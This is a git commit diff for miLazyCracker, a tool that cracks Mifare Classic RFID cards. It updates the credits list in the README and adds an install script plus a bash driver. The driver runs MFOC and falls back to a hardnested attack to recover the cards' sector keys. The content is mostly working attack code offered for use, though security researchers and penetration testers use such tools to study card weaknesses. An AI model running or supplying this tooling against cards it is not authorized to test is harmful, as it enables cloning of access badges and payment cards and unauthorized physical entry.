use a patch instead of local changes

sooooooooooo lazy

README.md

@@ -2,18 +2,17 @@
 Mifare Classic Plus - Hardnested Attack Implementation for SCL3711 LibNFC USB reader
 
 This tool is comprised of work from:
+-  Aram Verstegen (https://github.com/aczid/crypto1_bs) 
 
-Aram Verstegen (https://github.com/aczid/crypto1_bs)
+-  Carlo Meijer and Roel Verdult: (http://www.cs.ru.nl/~rverdult/Ciphertext-only_Cryptanalysis_on_Hardened_Mifare_Classic_Cards-CCS_2015.pdf)
 
-Carlo Meijer and Roel Verdult: (http://www.cs.ru.nl/~rverdult/Ciphertext-only_Cryptanalysis_on_Hardened_Mifare_Classic_Cards-CCS_2015.pdf)
+-  Iceman Proxmark Branch: https://github.com/iceman1001/proxmark
 
-Iceman Proxmark Branch: https://github.com/iceman1001/proxmark
+-  Piwi Proxmark Branch - https://github.com/pwpiwi/proxmark3/tree/hard_nested
 
-Piwi Proxmark Branch - https://github.com/pwpiwi/proxmark3/tree/hard_nested
+-  Blahpost Solver
 
-Blahpost Solver
+-  MFOC - https://github.com/nfc-tools/mfoc
 
-MFOC - https://github.com/nfc-tools/mfoc
-
-MFCUK - https://github.com/nfc-tools/mfcuk
+-  MFCUK - https://github.com/nfc-tools/mfcuk
 

miLazyCracker.sh

@@ -0,0 +1,71 @@
+#!/bin/bash
+
+mfoc -O /tmp/asdf1234zxcvqwerlkjh0978.mfd
+mfocResult=$?
+prngNotVulnerable=9
+keepTrying=1
+foundKeysForMFOC=" "
+
+while [ $keepTrying -eq 1 ]
+do
+#echo "MFOC result: $mfocResult"
+if [ "$mfocResult" == "$prngNotVulnerable" ];then
+	echo "MFOC not possible, detected hardened Mifare Classic"
+        if [ "$mfocResult" -eq 9 ];then
+                FILENAME="/tmp/unknownMfocSectorInfo_123456asdfqwer.txt"
+		count=0
+		while read LINE
+		do
+		let count++
+		#echo "$count $LINE"
+		done < $FILENAME
+
+                arr=(`echo $LINE | tr ';' ' '`)
+                #echo ${arr[0]}
+                #echo ${arr[1]}
+                #echo ${arr[2]}
+                #echo ${arr[3]}
+                #echo ${arr[4]}
+
+ 		knownKey=${arr[0]}
+		knownSectorNum=${arr[1]}
+		knownKeyLetter=${arr[2]}
+		unknownSectorNum=${arr[3]}
+		unknownKeyLetter=${arr[4]}
+ 		knownBlockNum=$(($knownSectorNum * 4))
+ 		unknownBlockNum=$(($unknownSectorNum * 4))
+		echo "Trying HardNested Attack..."
+		mycmd=(libnfc_crypto1_crack "$knownKey" "$knownBlockNum" "$knownKeyLetter" "$unknownBlockNum" "$unknownKeyLetter")
+                echo "${mycmd[@]}"
+                "${mycmd[@]}"
+        else
+                echo "mfoc returned: $mfocResult"
+                keepTrying=0
+	fi
+
+        cryptoCrackResult=$?
+        if [ "$cryptoCrackResult" -eq 0 ];then
+                FILENAME="/tmp/foundKey_Crapto1_Libnfc_1234567890qwerasdf.txt"
+                while read LINE
+                do
+                echo "$LINE"
+                done < $FILENAME 
+
+                #arr=(`echo $LINE | tr ';' ' '`)
+                #echo ${arr[0]}
+                #echo ${arr[1]}
+                #echo ${arr[2]}
+                #foundKeysForMFOC="$foundKeysForMFOC-k ${arr[0]} "
+		mycmd=(mfoc -f "$FILENAME" -O /tmp/asdf1234zxcvqwerlkjh0978.mfd)
+                echo "${mycmd[@]}"
+                "${mycmd[@]}"
+                mfocResult=$?
+        fi
+else
+	keepTrying=0
+fi
+done
+
+rm -rf /tmp/asdf1234zxcvqwerlkjh0978.mfd
+rm -rf /tmp/foundKey_Crapto1_Libnfc_1234567890qwerasdf.txt
+rm -rf /tmp/unknownMfocSectorInfo_123456asdfqwer.txt

miLazyCrackerFreshInstall.sh

@@ -0,0 +1,26 @@
+#run this from inside miLazyCracker git repo
+
+sudo apt-get install git
+sudo apt-get install libnfc-bin
+sudo apt-get install autoconf
+sudo apt-get install libnfc-dev
+
+#install MFOC
+git clone https://github.com/nfc-tools/mfoc.git
+cd mfoc
+cp ../mfoc.c src/     #copy in modified mfoc.c 
+sudo autoreconf -vfi
+./configure
+sudo make
+sudo make install
+
+cd ..
+
+#install Hardnested Attack Tool
+git clone https://github.com/aczid/crypto1_bs
+cd crypto1_bs
+cp ../libnfc_crypto1_crack.c .     #copy in modified .c 
+make get_craptev1
+make get_crapto1
+make
+sudo cp libnfc_crypto1_crack /usr/bin